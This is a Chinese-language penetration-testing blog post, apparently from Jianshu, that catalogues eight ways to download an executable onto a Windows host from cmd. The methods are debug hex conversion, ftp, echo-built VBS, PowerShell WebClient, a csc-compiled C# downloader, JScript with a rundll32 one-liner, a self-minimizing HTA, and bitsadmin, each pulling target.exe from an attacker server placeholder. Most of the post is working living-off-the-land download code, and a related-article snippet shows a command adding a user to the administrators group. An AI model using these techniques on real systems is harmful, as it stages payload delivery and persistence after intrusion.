滲透技巧--通過cmd上傳文件的N種方法

滲透技巧--通過cmd上傳文件的N種方法

1.debug

debug是一個(gè)程序調(diào)試工具,功能包括:(win7以上版本好像沒有
  • 直接輸入,更改,跟蹤,運(yùn)行匯編語言源程序
  • 觀察操作系統(tǒng)的內(nèi)容
  • 查看ROM BIOS的內(nèi)容
  • 觀察更改RAM內(nèi)部的設(shè)置值
  • 以扇區(qū)或文件的方式讀寫軟盤數(shù)據(jù)
  • 特別的是它還有一個(gè)功能可以將十六進(jìn)制代碼轉(zhuǎn)換為可執(zhí)行文件:hex
思路:
  1. 把需要上傳的exe轉(zhuǎn)換成十六進(jìn)制hex的形式
  2. 通過echo命令將hex代碼寫入文件
  3. 使用debug功能將hex代碼還原出exe文件
操作
[kali] 
cd /usr/share/windows-binaries
wine exe2bat.exe input.exe output.txt
# 只適用于小于64kb的文件
[windows]
復(fù)制output.txt文件到cmd執(zhí)行

2.ftp

搭建好ftp服務(wù)器

在kali環(huán)境下快速搭建ftp服務(wù)器

[windows cmd]
ftp
ftp>open ip:port
ftp>username
ftp>password
ftp>get target.exe

3.vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream對(duì)象
對(duì)應(yīng)到cmd下的命令為:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://server_ip/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\test\target .exe",2 >>download.vbs

按順序依次執(zhí)行后會(huì)生成download.vbs,然后執(zhí)行download.vbs即可實(shí)現(xiàn)下載target.exe

4.powershell

powershell (new-object System.Net.WebClient).DownloadFile( 'http://server_ip/target.exe','C:\test\target.exe')

5. csharp

csc.exe是微軟.NET Framework 中的C#編譯器,Windows系統(tǒng)中默認(rèn)包含,可在命令行下將cs文件編譯成exe使用echo將代碼依次寫入文件download.cs中,然后調(diào)用csc.exe編譯cs文件
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\download.exe C:\download.cs csc.exe的絕對(duì)路徑要根據(jù)系統(tǒng)的.net版本來確定

using System.Net;
namespace downloader
{
    class Program
    {
        static void Main(string[] args)
        {
            WebClient client = new WebClient();
            string URLAddress = @"http://server_ip/target.exe";
            string receivePath = @"C:\file_directory\";
            client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
        (URLAddress));
        }
    }
}

6.js

相比于JSRat中用的 Scripting.FileSystemObject換用 ADODB.Stream實(shí)現(xiàn)起來更加簡單高效
以下代碼依次保存為js文件,直接執(zhí)行即可實(shí)現(xiàn)下載文件

var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = WScript.CreateObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\target.exe", 2);
    Stream.Close();
}

合并成rundll32的一句話(類似于JSRat的啟動(dòng)方式):

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
document.write();
Object=new%20ActiveXObject("Microsoft.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);Object.send();
if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type=1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\target.exe",2);
Stream.Close();}

7、hta

添加最小化和自動(dòng)退出hta程序的功能,執(zhí)行過程中會(huì)最小化hta窗口,下載文件結(jié)束后自動(dòng)退出hta程序以下代碼保存為.hta文件:

<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\target.exe", 2);
    Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>  
</html>

8、bitsadmin

bitsadmin是一個(gè)命令行工具,可用于創(chuàng)建下載或上傳工作和監(jiān)測(cè)其進(jìn)展情況。xp以后的Windows系統(tǒng)自帶
使用方法:

bitsadmin /transfer n download_url save_path/filename.* 

參考資料
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 134,991評(píng)論 19 139
  • win7 cmd管理員權(quán)限設(shè)置 net localgroup administrators 用戶名 /add 把“...
    f675b1a02698閱讀 5,379評(píng)論 0 11
  • 部分內(nèi)容轉(zhuǎn)載自搜狗百科 cmd是command的縮寫.即命令提示符(CMD),是在OS / 2 , Windows...
    青冥之上閱讀 2,427評(píng)論 0 24
  • 轉(zhuǎn)自:http://www.freebuf.com/sectool/105524.html 本文為作者總結(jié)自己在滲...
    許安念安閱讀 5,698評(píng)論 0 10
  • 個(gè)人學(xué)習(xí)批處理的初衷來源于實(shí)際工作;在某個(gè)迭代版本有個(gè)BS(安卓手游模擬器)大需求,從而在測(cè)試過程中就重復(fù)涉及到...
    Luckykailiu閱讀 4,782評(píng)論 0 11